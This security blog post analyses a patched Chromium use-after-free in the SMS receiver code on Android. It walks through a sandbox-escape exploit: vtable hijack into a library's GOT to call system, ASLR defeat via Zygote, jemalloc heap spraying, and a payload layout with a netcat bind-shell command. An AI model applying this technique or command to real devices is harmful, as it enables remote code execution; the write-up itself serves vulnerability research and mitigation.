Posts Yet another RenderFrameHostImpl UAF
Post
Cancel

Yet another RenderFrameHostImpl UAF

Introduction

Back in 2020 while reviewing Chromium code, I found issue 1068395, a Use-After-Free in Browser Process that can be used to escape the Chromium sandbox on Android Devices. This is an interesting vulnerability as it’s a bug pattern that keeps happening in the Chromium codebase.

Having a good understanding of this pattern and how an attacker can exploit it is a good exercise to gain knowledge as well as inspiration in what to look for when reviewing code and writing new fuzzers. More importantly this can help us learn how we can mitigate such bug patterns.

Today, we will explore how issue 1068395 can be exploited assuming a compromised Renderer Process (using a vulnerability like 1126249).

What Is a RenderFrameHost?

Whenever a website is navigated to, the Browser Process will spawn a new Renderer Process. This process will parse the website’s content, such as JavaScript, HTML, and CSS and display it on its main frame. To track the main frame and communicate with it, the Browser Process will instantiate a RenderFrameHostImpl (RFH) object to represent the Renderer’s main frame.

Complicating things further, a website may have multiple “child-frames” (a.k.a iframes) that will embed another page context inside the main frame which can be created and destroyed at any moment by JavaScript. If the embedded origin is the same as the main frame, the Renderer Process will create a “frame” object and track it using a frame-tree data structure. The Browser Process will mirror this behavior and create a new RFH object for each new child frame. However, if the contexts have a different origin, the Browser Process will spawn a new Renderer Process due to site isolation.

For us, the behavior described previously may be read as: We control the RFH’s object creation and destruction (or its lifetime) from JavaScript! Can we leverage such behavior to find security vulnerabilities?

RenderFrameHost and Mojo interfaces

Nowadays, modern web-browsers are implemented with a multi-process architecture in mind. In this model, we have untrusted content parsed in a very restrictive/locked-down process (a.k.a a “sandboxed process”). To provide resource access to such a locked-down process, we have a “broker process”. In our case, this is the “browser process”. The browser process can provide access to these restricted resources via a mechanism called Inter-Process-Communication (IPC).

Chromium has two IPC mechanisms, the old-IPC/Legacy IPC and Mojo IPC. Nowadays, most features that want to expose resources to the Renderer Process (untrusted/sandboxed process) do it by using a Mojo interface. These interfaces are described using a mojom file, for example (from mojo_and_services.md):

1
2
3
4
interface PingResponder {
  // Receives a "Ping" and responds with a random integer.
  Ping() => (int32 random);
};

A Mojo interface is usually bound per-frame, therefore, every time an iframe is created and you request to bind to new a Mojo interface, it may end up allocating a new Mojo interface object in Browser Process (or bind into an existing one). If you are curious about what interfaces are exposed to an iframe, you can check the browser_interface_binders.cc. There is a “trick” here, as explained by BrowserInterfaceBroker, different “execution types” (a.k.a iframe/document, service workers and so on), may have a different binder function (thus, different set of interfaces exposed), it can be observed in PopulateServiceWorkerBinders and PopulateFrameBinders. (sidenote: Monitoring the commit changes in browser_interface_binders.cc is a nice method to find new Mojo Interfaces!).

Many objects accessible over Mojo don’t need access to the web page itself and are there to just facilitate access to privileged operations not allowed in the sandbox. However, there are situations that a Mojo interface object may require to access to the RFH object that has instantiated it, like accessing its RFH’s WebContentsImpl object, accessing its RenderFrameProcess object and so on.

One way to accomplish this is by providing a raw pointer to the RFH that has instantiated the interface in the Mojo interface object constructor. The constructor can then store this pointer as a class member. You can observe such behavior in the SensorProviderProxyImpl:

1
2
3
4
5
6
7
8
9
SensorProviderProxyImpl::SensorProviderProxyImpl(
    PermissionControllerImpl* permission_controller,
    RenderFrameHost* render_frame_host)
    : permission_controller_(permission_controller),
      render_frame_host_(render_frame_host) { // [1]

  DCHECK(permission_controller);
  DCHECK(render_frame_host);
}

As you can see at [1], SensorProviderProxyImpl will store the raw pointer for the RFH that has instantiated it as a member. Now, there is a question, can we guarantee that the Mojo interface will not outlive (stay alive longer than) RFH object? The answer can be found by checking how the Mojo interface object gets created. Let’s look at the code below.

1
2
3
4
5
6
7
8
9
10
void RenderFrameHostImpl::GetSensorProvider(
    mojo::PendingReceiver<device::mojom::SensorProvider> receiver) {
  if (!sensor_provider_proxy_) {
    sensor_provider_proxy_ = std::make_unique<SensorProviderProxyImpl>( // [2]
        PermissionControllerImpl::FromBrowserContext(
            GetProcess()->GetBrowserContext()),
        this);
  }
  sensor_provider_proxy_->Bind(std::move(receiver));
}

The SensorProvider Mojo interface object is a member variable in the RenderFrameHostImpl class [2]. If the sensor_provider_proxy_ has not been initialized yet, it’ll instantiate a std::unique_ptr for it. So, we can guarantee that SensorProviderProxyImpl object will be destroyed once the RFH object gets destroyed as their lifetimes are tied to each other!

However, Chromium is a complex code-base and things aren’t always that easy; there are other ways in which Mojo interface objects may be created. For example, one may be instantiated by using Mojo::MakeSelfOwnedReceiver. The documentation states: “A self-owned receiver exists as a standalone object which owns its interface implementation and automatically cleans itself up when its bound interface endpoint detects an error.”

In other words, the lifetime for the Mojo interface object is tied with its mojo connection: so, if the mojo connection stays alive, the Mojo interface object will stay alive as well (more details in here). This means both sides of the mojo connection (Browser and Renderer Process) control the object lifetime; this is explained well in “Virtually Unlimited Memory: Escaping the Chrome Sandbox” by Mark Brand).

That also means that we can have a situation where UI thread will destroy the RFH object, and the Mojo connection is still alive (as it is self-owned) and processing mojo messages until the bind detects an error or that it was closed. Thus, if during this time-window the Mojo interface object processes a message that will access the freed RFH object, we will have a Use-After-Free (UAF) issue.

This is an example of the problem that most of the vulnerabilities linked to in the introduction end up exploiting. It has been exploited by many researchers, explained in other blogposts, like “Escaping the Chrome Sandbox” and in CTFs like PlaidCTF.

Chromium does have some features to mitigate such problems, and we will go through some examples:

  • WebContentsObserver: If your Mojo interface implementation inherits from this class, you will be provided with a set of callback events (virtual methods) that may be overridden by your implementation. Among these callbacks, we have RenderFrameDeleted, which gets triggered every time an RFH object gets deleted.

    We can observe its use in InstalledAppProviderImpl. This class was used to fix the vulnerability described in “Escaping the Chrome Sandbox”.

    1
    2
    3
    4
    5
    6
    
    void InstalledAppProviderImpl::RenderFrameDeleted(
        RenderFrameHost* render_frame_host) {
      if (render_frame_host_ == render_frame_host) {
        render_frame_host_ = nullptr;
      }
    }
    
  • FrameServiceBase: This class is similar to WebContentsObserver, however, it implements all callbacks for you and guarantees that the implementation object gets freed as soon as the RFH object that created it gets deleted.

By using one of the mechanisms mentioned above, you can guarantee that the Mojo Interfaces you own won’t have Use-After-Free issues with RFH objects.

Now that we understand the complexities of Mojo interfaces and RFH, and the problems that can arise from their mismanagement, we can start looking around to see if we can find a vulnerability :).

Enter SmsReceiver!

Like all normal people do at 4AM, I was using Chromium Code Search to read around Chromium’s source code. While looking around the commit changes for browser_interface_binders.cc to check for new Mojo interfaces and other related changes, SmsService caught my eye. Let’s see how the Mojo interface object is created.

1
2
3
4
5
6
7
8
9
10
11
12
void RenderFrameHostImpl::BindSmsReceiverReceiver(
    mojo::PendingReceiver<blink::mojom::SmsReceiver> receiver) {

  if (GetParent() && !GetMainFrame()->GetLastCommittedOrigin().IsSameOriginWith(
                         GetLastCommittedOrigin())) {
    mojo::ReportBadMessage("Must have the same origin as the top-level frame.");
    return;
  }

  auto* fetcher = SmsFetcher::Get(GetProcess()->GetBrowserContext(), this); // [3]
  SmsService::Create(fetcher, this, std::move(receiver)); // [4]
}

First, it’ll call SmsFetcher::Get with the BrowserContext and this (RFH object reference) as arguments [3]; we will come back for SmsFetcher::Get later, but for now, all we need to know is that it’ll return a pointer to an SmsFetcher object. Afterwards, we will end up calling SmsService::Create with the SmsFetcher object pointer and this (RFH object reference) as argument [4].

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
// static
void SmsService::Create(
    SmsFetcher* fetcher,
    RenderFrameHost* host,
    mojo::PendingReceiver<blink::mojom::SmsReceiver> receiver) {
  DCHECK(host);

  // SmsService owns itself. It will self-destruct when a Mojo interface
  // error occurs, the render frame host is deleted, or the render frame host
  // navigates to a new document.
  new SmsService(fetcher, host, std::move(receiver)); // [5]
}

SmsService::SmsService(
    SmsFetcher* fetcher,
    const url::Origin& origin,
    RenderFrameHost* host,
    mojo::PendingReceiver<blink::mojom::SmsReceiver> receiver)
    : FrameServiceBase(host, std::move(receiver)), // [6]
      fetcher_(fetcher),
      origin_(origin) {}

As the code-comments explained, the Mojo interface object owns itself [5]. It isn’t using mojo::MakeSelfOwnedReceiver, but SmsService inherits from FrameServiceBase [6], which has a similar effect. In the SmsService constructor we can see it will initialize the FrameServiceBase [6] with our RFH object reference so it can track the RFH object state.

As we have already learned, FrameServiceBase will guarantee that the mojo interface object gets deleted as soon as the RFH object gets deleted, therefore, there is no UAF here. Oh well, no bugs here. Let’s move to another mojo interface implementation… wait… Actually, let’s go all the way back to BindSmsReceiverReceiver function.

In particular the line below:

1
auto* fetcher = SmsFetcher::Get(GetProcess()->GetBrowserContext(), this); // [7]

As already mentioned, this function will create (or get an already created) SmsFetcher object and return it [7], let’s look further:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
SmsFetcher* SmsFetcher::Get(BrowserContext* context, RenderFrameHost* rfh) {

  auto* stored_fetcher = static_cast<SmsFetcherImpl*>(
      context->GetUserData(kSmsFetcherImplKeyName)); // [8]

  if (!stored_fetcher || !stored_fetcher->CanReceiveSms()) { // [9]
    auto fetcher =
        std::make_unique<SmsFetcherImpl>(context, SmsProvider::Create(rfh));
    context->SetUserData(kSmsFetcherImplKeyName, std::move(fetcher));
  }

  return static_cast<SmsFetcherImpl*>(
      context->GetUserData(kSmsFetcherImplKeyName)); // [10]
}

The first thing the code does is check if BrowserContext has a SmsFtecherObject stored within it [8], which implies that SmsFetcher lifetime is tied with BrowserContext lifetime! If it both exists and can receive SMS message [9], it will just return a reference to it at [10].

However, if it cannot receive SMS messages or is not created, it will create a new SmsFetcherImpl object [9]. The SmsFetcherImpl constructor expects an SmsProvider object that is created by calling its Create method with our RFH object as an argument. Now, let’s look at the SmsProvider::Create method. (Trivia: Ooops, there was another vulnerability around here: 1070609).

1
2
3
4
5
6
7
8
9
10
11
12
13
// static
std::unique_ptr<SmsProvider> SmsProvider::Create(RenderFrameHost* rfh) {
#if defined(OS_ANDROID)
  if (base::CommandLine::ForCurrentProcess()->GetSwitchValueASCII(
          switches::kWebOtpBackend) ==
      switches::kWebOtpBackendSmsVerification) {
    return std::make_unique<SmsProviderGmsVerification>();
  }
  return std::make_unique<SmsProviderGmsUserConsent>(rfh); // [11]
#else
  return nullptr;
#endif
}

There are two SmsProvider types:

  • SmsProviderGmsVerification: Not interesting for us, as it will not take the RFH as argument anyway.
  • SmsProviderGmsUserConsent: It’ll receive the RFH raw pointer as an argument for its constructor [11]. Looks promising, let’s keep looking.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
SmsProviderGmsUserConsent::SmsProviderGmsUserConsent(RenderFrameHost* rfh)
    : SmsProvider(), render_frame_host_(rfh) { // [12]
  // This class is constructed a single time whenever the
  // first web page uses the SMS Retriever API to wait for
  // SMSes.
  JNIEnv* env = AttachCurrentThread();
  j_sms_receiver_.Reset(Java_SmsUserConsentReceiver_create(
      env, reinterpret_cast<intptr_t>(this)));
}


void SmsProviderGmsUserConsent::Retrieve() {
  JNIEnv* env = AttachCurrentThread();

  WebContents* web_contents =
      WebContents::FromRenderFrameHost(render_frame_host_); // [13]
  if (!web_contents || !web_contents->GetTopLevelNativeWindow())
    return;

  Java_SmsUserConsentReceiver_listen(
      env, j_sms_receiver_,
      web_contents->GetTopLevelNativeWindow()->GetJavaObject());
}

Oh! So, we will store the raw pointer for the RFH object as a member variable inside the SmsProviderGmsUserConsent [12] class. That looks dangerous. Also we will end up accessing it whenever we call the Retrieve method [13]. Unless there is some mechanism that ensures the RFH has not been deleted (spoilers: there aren’t) it may lead to a UAF. Now, to understand better, let’s create an “ownership/reference map”, after creating SmsFetcherImpl object, we will end up with something similar to:

As we all love to study chromium code base, one of the things we have learned by watching “Anatomy of the browser 201 (Chrome University 2019)” is that the BrowserContext is pretty much our current Profile. This means it’ll stay alive longer than objects like WebContentsImpl and RenderFrameHostImpl!

We also have learned that we won’t always create a new SmsFetcherImpl. Instead, we will create it once and provide a reference to it every time a new SmsService is created. This smells like a chance for a UAF as we will keep reusing the same RFH object pointer (inside SmsProviderGmsUserConsent) for all new SmsProvider Mojo interface instances.

Indeed, we will have a problem here, as the first time we create a SmsProviderGmsUserConsent, it’ll store a reference to the RFH object that created it. However, we know that SmsFetcherImpl will keep reusing SmsProviderGmsUserConsent even after the RFH object is deleted, as there aren’t any mechanisms to ensure that RFH object hasn’t been deleted!

Therefore, if we have a new RFH object that binds to the SmsService interface, the SmsService object will store a raw pointer to the SmsFetcherImpl object containing the SmsProviderGmsUserConsent which holds a dangling RFH pointer.

To illustrate it, let’s look at the diagram below.

  • Create an iframe and bind to SmsReceiver
  • Create another iframe and Bind to SmsReceiver
  • Delete the first iframe (aka iframe A), thus, it’s iframe A’s RFH object gets deleted, but we still have a reference to it in SmsProviderGmsUserConsent.

  • Call receive in SmsReceiver for iframe B

As you can see, at the end, iframe B’s SmsService may end up dereferencing a freed RFH! Unfortunately, FrameServiceBase cannot save us from this problem, in the end we will have a Use-After-Free issue.

Now, we have found a cool vulnerability, let’s try to use it to achieve code execution in Browser Process context!

Exploiting the Issue

At this point we know that SmsProviderGmsUserConsent::Retrieve will end up using our freed RFH for some operations. Let’s take a look at how exactly it is used:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
void SmsProviderGmsUserConsent::Retrieve() {
  JNIEnv* env = AttachCurrentThread();

  WebContents* web_contents =
      WebContents::FromRenderFrameHost(render_frame_host_); // [14]

  if (!web_contents || !web_contents->GetTopLevelNativeWindow())
    return;

  Java_SmsUserConsentReceiver_listen(
      env, j_sms_receiver_,
      web_contents->GetTopLevelNativeWindow()->GetJavaObject());
}


First, it’ll get a reference to the “freed” RFH and use it as an argument for the function WebContents::FromRenderFrameHost [14]. Then, it’ll return a pointer to the WebContentsImpl object. Finally, it’ll check if the WebContentsImpl isn’t nullptr and execute some Java code, otherwise, it’ll just return early.

Now, let’s look at the FromRenderFrameHost implementation:

1
2
3
4
5
6
7
8
9
10
11
12
WebContents* WebContents::FromRenderFrameHost(RenderFrameHost* rfh) {
  if (!rfh)
    return nullptr;

  if (!rfh->IsCurrent() && base::FeatureList::IsEnabled( // [15]
			       kCheckWebContentsAccessFromNonCurrentFrame)) {
    // TODO(crbug.com/1059903): return nullptr here eventually.
    base::debug::DumpWithoutCrashing();
  }

  return static_cast<RenderFrameHostImpl*>(rfh)->delegate()->GetAsWebContents(); // [16]

There are two function calls here that use the RFH. The first is at [15], and the second at [16] where it will read a member object inside RFH and call its GetAsWebContents function. These method’s declarations look like the following:

1
2
3
virtual bool IsCurrent() = 0;

virtual WebContents* GetAsWebContents();

As you can see both methods are declared virtual. As we know, the compiler will end up creating a virtual table to handle the dynamic dispatch! So, if we can somehow control the “freed” object, and replace its virtual table with a fake one that we control, we could call an arbitrary function pointer. Once we can call an arbitrary pointer, we can use Returned-Oriented-Programming (ROP) or Jump-Oriented-Programming (JOP) and achieve arbitrary code execution.

Also, if we can make the GetAsWebContents return nullptr (0x0), we can smoothly continue the browser execution with no crash. Sounds like a nice plan!

However, we have a problem here: Address Space Layout Randomization (ASLR). We may have a UAF and we may somehow be able to replace its object virtual table with controlled contents, but we have no idea where .text, .data or heap allocations are as we have no information disclosure vulnerability.

We did not get so far to give up! Let’s think about it further.

Zygote to Rescue!

I was using a Pixel 3A android device as target for my exploit and while I was researching a solution for the ASLR problem, I found out that Android has its own way to launch applications. It is using a concept called “Zygote” and there are many articles giving in-depth details of how it works and its security implications.

For us, Zygote essentially means that every new spawned process will share the same ASLR base between them, in another words: Processes can end up sharing the same virtual memory mapping between some shared libraries!

That is perfect, as having a remote code execution exploit (taking over Renderer Process by using either a V8 or Blink vulnerability, for example) may help us to easily defeat ASLR as both Renderer Process and Browser process share the same virtual mapping between shared libraries.

Do we really need ROP and/or JOP?

Essentially, once we can replace the “freed” RFH object in memory with attacker-controlled data, we want to make its virtual table to point to a fake virtual table and jump into any arbitrary function or a stack-pivot for ROP. However, ASLR is still a problem for the heap segments as we have no information about its heap layout.

We can bypass the heap problem by calling another object virtual table that will end up writing the RFH this pointer onto itself (and being able to read the object memory back into Renderer Process). That should work; however, there is something even better! Guang Gong has presented a nice technique in “An exploit Chain to Remotely Root Modern Android Devices”. The article explains that the libllvm-glnext.so (that is present in Pixel 3a) has a function pointer to system in its .GOT segment. We can easily replace the RFH virtual table to point into libllvm-glnext.so .GOT and make a call to system!

The beauty here is that the system’s function argument is a pointer to the RFH object (aka this) that we fully control! Now we can call system with arbitrary command in context of Browser Process! Feels back into 90s, right?

Keeping the Browser alive (CRASH != FUN)

Let’s look again at the WebContents::FromenderFrameHost function but from another perspective, the ARM-assembly perspective:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
0x0000000000000000:  10 B5          push  {r4, lr}
0x0000000000000002:  98 B1          cbz   r0, #0x2c
0x0000000000000004:  04 46          mov   r4, r0

// R0 = RFH->vtable
0x0000000000000006:  00 68          ldr   r0, [r0]
// R1 = RFH->vtable[0xBC/0x4] -- system pointer
0x0000000000000008:  D0 F8 BC 10    ldr.w r1, [r0, #0xbc]
0x000000000000000c:  20 46          mov   r0, r4
// system(R0)
0x000000000000000e:  88 47          blx   r1 // [17]

0x0000000000000010:  30 B9          cbnz  r0, #0x20
0x0000000000000012:  07 48          ldr   r0, [pc, #0x1c]
0x0000000000000014:  78 44          add   r0, pc
0x0000000000000016:  A9 F1 42 EA    blx   #0x1a949c
0x000000000000001a:  08 B1          cbz   r0, #0x20
0x000000000000001c:  A9 F1 06 EE    blx   #0x1a9c2c

// R0 = RFH->member_7c
0x0000000000000020:  E0 6F          ldr   r0, [r4, #0x7c]
// R1 = RFH->member_7c->vtable
0x0000000000000022:  01 68          ldr   r1, [r0]
// R1 = RFH->member_7c->vtable[0x64/0x4]
0x0000000000000024:  49 6E          ldr   r1, [r1, #0x64]
0x0000000000000026:  BD E8 10 40    pop.w {r4, lr} // [18]
// return R1(), where R1 is a function that will set R0 (return value) to 0
// it'll make WebContents == nullptr and not crashing the browser :)
0x000000000000002a:  08 47          bx    r1
0x000000000000002c:  00 20          movs  r0, #0
0x000000000000002e:  10 BD          pop   {r4, pc}

As you can see, there are two virtual function calls. The first call, RFH->vtable_fptr[0x2F] [17], we can use to call system with controlled arguments. However, the second virtual call, RFH->member_7C->vtable_fptr[0x19] [18], is a problem for us. As you already know we have no information disclosure about the heap memory layout, so, we cannot easily fake a member_7C object.

So, what is the solution here? Maybe we could just let the browser crash anyway, as we will end up executing the system command before the crash happens… But, let’s be honest, crashing the browser isn’t fun, can we do something else? Yes, Zygote@libllvm-glnext to the rescue again.

Do we have such a magic pointer in libllvm-glnext? Yes! At offset 0x8E4BE8 (.GOT segment) we have exactly what we need, we will end up with the following call chain:

Now, we can both call system and resume execution smoothly without crashing the browser :)

Replacing the Object

Alright, at this point we want to replace the object in memory with fully controlled content. What we need here is some heap-spray primitive. We could go and try to find our own, however, let’s not recreate the wheel. We can use the same technique demonstrated by “GPZ Virtually Unlimited Memory”, since it still works and fulfills all our needs.

Now, the next step is to find the size of the RFH object size in memory. This is necessary as we increase the chance to reclaim the memory by spraying payloads of the same size as the RFH object. You can do it by using your favorite disassembler, compiler, debugger, or any other tool. In my case, it was 0x880 bytes.

However, if you heap spray using the technique above, it may work and reclaim the object, but it may also be a bit unstable. Apparently, on Android, at least for the version that I had when I wrote the exploit, the Browser Process will end up using jemalloc as the default heap allocator.

There is enough documentation (that I recommend reading) regarding the allocator internals, thus, I will not go into details here. What is interesting for us is that jemalloc implements thread specific caches. Remember, our target object, the freed RFH, is created and destroyed on UI thread and the heap-spray technique will happen on IO thread. Due to this, we may have our allocations happening in different thread-caches/arenas.

As we want to be able to reclaim a freed region (a.k.a our RFH object) from another thread, we need to cause either a flush event or hard event that will end up freeing some bins/regions inside a tcache (each bin has its own tcache, that is a list for the recently freed regions).

Once a flush or hard event occurs, the region can now be allocated by other threads. This can be accomplished by first freeing our victim RFH object and then allocating multiple iframes and freeing them. Following this you can spray as normal with your heap-spray primitive. In my tests, this seems to have increased the exploit’s reliability.

Putting It All Together

Now, using all the knowledge we have learned, let’s summarize how our exploit works:

  • Create a child iframe that will use MojoJS to create and bind to a SmsReceiver interface (thus, creating a SmsProviderGmsUserConsent with a pointer to its RFH). MojoJS can be enabled by a compromised renderer.
  • Send a postMessage from the child iframe to the main frame to tell it the Mojo interface has been created. The main frame can now delete the child iframe with document.body.removeChild.
  • In the main frame, create another SmsReceiver interface. This instantiation will use the already created SmsFetcherImpl which has a raw pointer to the freed RFH object.
  • Prepare our heap payload:
    • The first 4 bytes (32 bit architecture) is the virtual table pointer, it’ll be a pointer to libllvm-glnext.so .got.plt minus 0xBC (offset for virtual table) so we land in the correct address.
    • The next bytes will be our shell command, something of the form “|| (command).” This way it’ll first execute the virtual table address as a “command” and then execute our shell command. For the exploit, I used: ' || (toybox nc -p 4444 -l /bin/sh)').
    • At offset 0x7C of our payload we will have a pointer to the “magic function pointer” in libllvm-glnext.so, so we can guarantee the GetAsWebContents virtual method will return the value 0x0, making SmsProviderGmsUserConsent::Retrieve return early, avoiding a browser crash.
    • Spray these bytes using the same technique learned here, but use the jemalloc trick described earlier to make it more reliable.
  • Call SmsReceiver.receive method and watch the magic!

You can find the final exploit here.

Conclusion

At this point you can run shell commands in the context of Browser Process. Due to the Android security model, you may have limited resource access as you are still inside Android’s application sandbox. The next step would be to chain a kernel vulnerability, as described here, but this is a story for another day.

I hope you have enjoyed reading and learning a little more about Chromium as much as I have while learning and writing all of it. This issue was a nice exploit exercise and I think it would have been harder to exploit if Zygote didn’t weaken ASLR on Android. Now that we know how the vulnerability works and its pattern, we can write more security documentation, give insight to our developers into how to write Mojo interfaces with no such pattern and proactively find vulnerabilities on our security reviews.

Furthermore, Google has been working hard to mitigate UAF issues through efforts such as PartitionAlloc everywhere, MiraclePtr and *Scan. We are looking forward to making contributions and working with them to make these vulnerabilities harder to exploit.

This post is licensed under CC BY 4.0 by the author.